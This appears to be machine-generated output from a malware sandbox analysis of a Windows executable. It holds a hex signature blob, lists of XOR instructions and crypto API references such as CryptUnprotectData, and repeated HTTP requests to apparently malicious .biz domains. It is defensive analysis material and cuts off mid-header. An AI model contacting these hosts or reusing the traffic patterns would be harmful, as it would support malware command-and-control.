"30821b5506092a864886f70d010702a0821b4630821b42020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414fb3cf7bda373d2ce96f0244480fa239a1d3734b4a082162a30820412308202faa003020102020f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937303131303037303030305a170d3230313233313037303030305a3070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100a902bdc170e63bf24e1b289f97785e30eaa2a98d255ff8fe954ca3b7fe9da2203e7c51a29ba28f60326bd1426479eeac76c954daf2eb9c861c8f9f8466b3c56b7a6223d61d3cde0f0192e896c4bf2d669a9a682699d03a2cbf0cb55826c146e70a3e38962ca92839a8ec498342e3840fbb9a6c5561ac827ca1602d774ce999b4643b9a501c310824149fa9e7912b18e63d986314605805659f1d375287f7a7ef9402c61bd3bf5545b38980bf3aec54944eaefda77a6d744eaf18cc96092821005790606937bb4b12073c56ff5bfba4660a08a6d2815657efb63b5e16817704daf6beae8095feb0cd7fd6a71a725c3ccabcf008a32230b30685c9b320771385df0203010001a381a83081a53081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010095e80bc08df3971835edb80124d87711f35c60329f9e0bcb3e0591888fc93ae621f2f057932cb5a047c862effcd7cc3b3b5aa9365469fe246d3fc9ccaade057cdd318d3d9f10706abbfe124f1869c0fcd043e311" "pcbBinary": "591b0000" "pdwFlags": "01000000"}30:T253c,Assembly shows XOR instruction xor al 75h in Stream UID: 00000000-00004636-36163-8-00403A00 Assembly shows XOR instruction xor byte ptr [esi+ecx+66h] ch in Stream UID: 00000000-00004636-36163-8-00403A00 Assembly shows XOR instruction xor cl byte ptr [00000066h] in Stream UID: 00000000-00004636-36163-8-00403A00 Assembly shows XOR instruction xor ax 00000DDBh in Stream UID: 00000000-00004636-36163-75-00403A24 Assembly shows XOR instruction xor edx ecx in Stream UID: 00000000-00004636-36163-117-004568A0 Assembly shows XOR instruction xor eax 80000000h in Stream UID: 00000000-00004636-36163-117-004568A0 Assembly shows XOR instruction xor eax dword ptr [eax] in Stream UID: 00000000-00004636-36163-193-0043F020 Assembly shows XOR instruction xor al byte ptr [eax] in Stream UID: 00000000-00004636-36163-193-0043F020 Assembly shows XOR instruction xor byte ptr [eax] al in Stream UID: 00000000-00004636-36163-193-0043F020 Assembly shows XOR instruction xor al 00h in Stream UID: 00000000-00004636-36163-193-0043F020 Assembly shows XOR instruction xor dword ptr [eax] eax in Stream UID: 00000000-00004636-36163-193-0043F020 Assembly shows XOR instruction xor eax FFFFFFFFh in Stream UID: 00000000-00004636-36163-277-0042A984 Assembly shows XOR instruction xor esi dword ptr [edx+307D99FFh] in Stream UID: 00000000-00004636-36163-410-004068BC Assembly shows XOR instruction xor al ECh in Stream UID: 00000000-00004636-36163-412-00406DA8 Assembly shows XOR instruction xor eax 6CAF60C6h in Stream UID: 00000000-00004636-36163-421-00407213 Assembly shows XOR instruction xor ch ah in Stream UID: 00000000-00004636-36163-421-00407213 Assembly shows XOR instruction xor dword ptr [ebx] ecx in Stream UID: 00000000-00004636-36163-421-00407213 Assembly shows XOR instruction xor byte ptr [esi] cl in Stream UID: 00000000-00004636-36163-489-004098B4 Assembly shows XOR instruction xor al 89h in Stream UID: 00000000-00004636-36163-489-004098B4 Assembly shows XOR instruction xor eax 0F9F3013h in Stream UID: 00000000-00004636-36163-489-004098B4 Assembly shows XOR instruction xor dword ptr [ebp+3E389919h] E06FDC81h in Stream UID: 00000000-00004636-36163-495-00409D9C Assembly shows XOR instruction xor byte ptr [eax+edi*2] ah in Stream UID: 00000000-00004636-36163-495-00409D9C Assembly shows XOR instruction xor byte ptr [esi+0D037C84h] ch in Stream UID: 00000000-00004636-36163-495-00409D9C Assembly shows XOR instruction xor dword ptr [edi] C2A14AC6h in Stream UID: 00000000-00004636-36163-495-00409D9C Assembly shows XOR instruction xor eax 0B0E0C01h in Stream UID: 00000000-00004636-36163-495-00409D9C Assembly shows XOR instruction xor eax 180F7EB8h in Stream UID: 00000000-00004636-36163-495-00409D9C Assembly shows XOR instruction xor byte ptr [640560F2h] cl in Stream UID: 00000000-00004636-36163-495-00409D9C Assembly shows XOR instruction xor byte ptr [ebx-67DB33F8h] ch in Stream UID: 00000000-00004636-36163-495-00409D9C Assembly shows XOR instruction xor eax 4B7505B5h in Stream UID: 00000000-00004636-36163-495-00409D9C Assembly shows XOR instruction xor byte ptr [edx+48h] dl in Stream UID: 00000000-00004636-36163-535-0040B7F5 Assembly shows XOR instruction xor al 38h in Stream UID: 00000000-00004636-36163-535-0040B7F5 Assembly shows XOR instruction xor al 65h in Stream UID: 00000000-00004636-36163-535-0040B7F5 Assembly shows XOR instruction xor dh cl in Stream UID: 00000000-00004636-36163-547-0040C15D Assembly shows XOR instruction xor edi dword ptr [ebx+eax-435638D4h] in Stream UID: 00000000-00004636-36163-547-0040C15D Assembly shows XOR instruction xor dword ptr [edi+08h] 23h in Stream UID: 00000000-00004636-36163-547-0040C15D Assembly shows XOR instruction xor esp dword ptr [ebx+3B1A2EC1h] in Stream UID: 00000000-00004636-36163-547-0040C15D Assembly shows XOR instruction xor edi dword ptr [ebx+4648B1A5h] in Stream UID: 00000000-00004636-36163-674-00411592 Assembly shows XOR instruction xor byte ptr [edx+ebp+60h] 99h in Stream UID: 00000000-00004636-36163-674-00411592 Assembly shows XOR instruction xor eax AADF92A2h in Stream UID: 00000000-00004636-36163-696-00411E9B Assembly shows XOR instruction xor dword ptr [eax+5575401Dh] BCB11A92h in Stream UID: 00000000-00004636-36163-696-00411E9B Assembly shows XOR instruction xor dword ptr [edi+40A52389h] edx in Stream UID: 00000000-00004636-36163-696-00411E9B Assembly shows XOR instruction xor dword ptr [ebx-48h] FFFFFFDDh in Stream UID: 00000000-00004636-36163-696-00411E9B Assembly shows XOR instruction xor dword ptr [ebx] ecx in Stream UID: 00000000-00004636-36163-696-00411E9B Assembly shows XOR instruction xor byte ptr [ebp+14h] dl in Stream UID: 00000000-00004636-36163-696-00411E9B Assembly shows XOR instruction xor byte ptr [eax+7Ch] cl in Stream UID: 00000000-00004636-36163-725-00413475 Assembly shows XOR instruction xor byte ptr [edi+04h] cl in Stream UID: 00000000-00004636-36163-725-00413475 Assembly shows XOR instruction xor edi dword ptr [ecx-3BB4E746h] in Stream UID: 00000000-00004636-36163-725-00413475 Assembly shows XOR instruction xor eax esi in Stream UID: 00000000-00004636-36163-725-00413475 Assembly shows XOR instruction xor eax 1C2519B1h in Stream UID: 00000000-00004636-36163-725-00413475 Assembly shows XOR instruction xor al A5h in Stream UID: 00000000-00004636-36163-725-00413475 Assembly shows XOR instruction xor byte ptr [72FF3080h] cl in Stream UID: 00000000-00004636-36163-725-00413475 Assembly shows XOR instruction xor dword ptr [edi] edi in Stream UID: 00000000-00004636-36163-725-00413475 Assembly shows XOR instruction xor ch ah in Stream UID: 00000000-00004636-36163-725-00413475 Assembly shows XOR instruction xor byte ptr [edi+403A45D5h] al in Stream UID: 00000000-00004636-36163-816-00416D1E Assembly shows XOR instruction xor dl bl in Stream UID: 00000000-00004636-36163-816-00416D1E Assembly shows XOR instruction xor al 7Ch in Stream UID: 00000000-00004636-36163-816-00416D1E Assembly shows XOR instruction xor al 64h in Stream UID: 00000000-00004636-36163-823-0041710F Assembly shows XOR instruction xor dword ptr [edi+ebp*2+1E745CF6h] esp in Stream UID: 00000000-00004636-36163-865-0041886C Assembly shows XOR instruction xor esp dword ptr [ebp+4Bh] in Stream UID: 00000000-00004636-36163-865-0041886C Assembly shows XOR instruction xor edi dword ptr [edi] in Stream UID: 00000000-00004636-36163-865-0041886C Assembly shows XOR instruction xor byte ptr [ecx+esi*4-7Dh] dh in Stream UID: 00000000-00004636-36163-879-0041902B Assembly shows XOR instruction pxor mm7 mm3 in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor edi dword ptr [ecx] in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor byte ptr [ecx] 93h in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor ecx dword ptr [ecx-46h] in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor ebx esi in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor ecx esi in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor dword ptr [ebp-60h] edx in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor eax 0A08F045h in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor eax 7DDDC740h in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor eax 070CF984h in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor al 9Fh in Stream UID: 00000000-00004636-36163-883-004190E7 Assembly shows XOR instruction xor bl byte ptr [esi-337F4D50h] in Stream UID: 00000000-00004636-36163-1108-00421BF7 Assembly shows XOR instruction xor dl byte ptr [ebp+46h] in Stream UID: 00000000-00004636-36163-1108-00421BF7 Assembly shows XOR instruction xor eax 946C0197h in Stream UID: 00000000-00004636-36163-1108-00421BF7 Assembly shows XOR instruction xor al 53h in Stream UID: 00000000-00004636-36163-1108-00421BF7 Assembly shows XOR instruction xor al 1Eh in Stream UID: 00000000-00004636-36163-1108-00421BF7 Assembly shows XOR instruction xor bl byte ptr [edi+46h] in Stream UID: 00000000-00004636-36163-1108-00421BF7 Assembly shows XOR instruction xor cl al in Stream UID: 00000000-00004636-36163-1108-00421BF7 Assembly shows XOR instruction xor byte ptr [eax] dh in Stream UID: 00000000-00004636-36163-1218-0042643A Assembly shows XOR instruction xor eax 1630313Ah in Stream UID: 00000000-00004636-36163-1218-0042643A Assembly shows XOR instruction xor ebp dword ptr [esi] in Stream UID: 00000000-00004636-36163-1218-0042643A Assembly shows XOR instruction xor eax 010F392Eh in Stream UID: 00000000-00004636-36163-1218-0042643A Assembly shows XOR instruction xor byte ptr [eax] ah in Stream UID: 00000000-00004636-36163-1218-0042643A Assembly shows XOR instruction xor al 64h in Stream UID: 00000000-00004636-36163-1243-0042723D Assembly shows XOR instruction xor byte ptr [edi] 80h in Stream UID: 00000000-00004636-36163-1243-0042723D Assembly shows XOR instruction xor eax B280674Eh in Stream UID: 00000000-00004636-36163-1250-00427768 Assembly shows XOR instruction xor byte ptr [ecx+31h] 14h in Stream UID: 00000000-00004636-36163-1250-00427768 Assembly shows XOR instruction xor byte ptr [edi-24899193h] bh in Stream UID: 00000000-00004636-36163-1273-0042921A31:Tedc,Found reference to API "NCryptGetProperty" (Indicator: "NCryptGetProperty"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NCryptFreeObject" (Indicator: "NCryptFreeObject"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NCryptSignHash" (Indicator: "CryptSignHash"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NCryptExportKey" (Indicator: "CryptExportKey"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "NCryptImportKey" (Indicator: "CryptImportKey"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptDestroyHash" (Indicator: "CryptDestroyHash"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptGetProvParam" (Indicator: "CryptGetProvParam"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptSignHashA" (Indicator: "CryptSignHash"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptAcquireContextW" (Indicator: "CryptAcquireContext"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptContextAddRef" (Indicator: "CryptContextAddRef"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptImportKey" (Indicator: "CryptImportKey"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptSetKeyParam" (Indicator: "CryptSetKeyParam"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptSignHashW" (Indicator: "CryptSignHash"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptSetProvParam" (Indicator: "CryptSetProvParam"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptCreateHash" (Indicator: "CryptCreateHash"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptHashData" (Indicator: "CryptHashData"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptAcquireContextA" (Indicator: "CryptAcquireContext"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptDecrypt" (Indicator: "CryptDecrypt"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptGetUserKey" (Indicator: "CryptGetUserKey"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptGetHashParam" (Indicator: "CryptGetHashParam"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptGenKey" (Indicator: "CryptGenKey"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptDestroyKey" (Indicator: "CryptDestroyKey"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "CryptProtectData" (Indicator: "CryptProtectData"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe")32:T14ab4,Contains base64 string in header "POST" in header "POST /gmyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /gmyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /gmyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /gmyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /gmyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /gmyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /gmyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /gmyq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /eenafjh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "/eenafjh" in header "POST /eenafjh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /eenafjh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /eenafjh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /eenafjh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /eenafjh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /eenafjh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /eenafjh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /eenafjh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "POST" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "/xdn" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "Keep" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "anpmnmxo" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "like" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2171" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "MicroMessenger/6" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "NetType/WIFI" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "QBCore/3" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "2524" in header "POST /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 842" Contains base64 string in header "/xdn" in header "GET /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "Keep" in header "GET /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "like" in header "GET /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2171" in header "GET /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "MicroMessenger/6" in header "GET /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "NetType/WIFI" in header "GET /xdn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 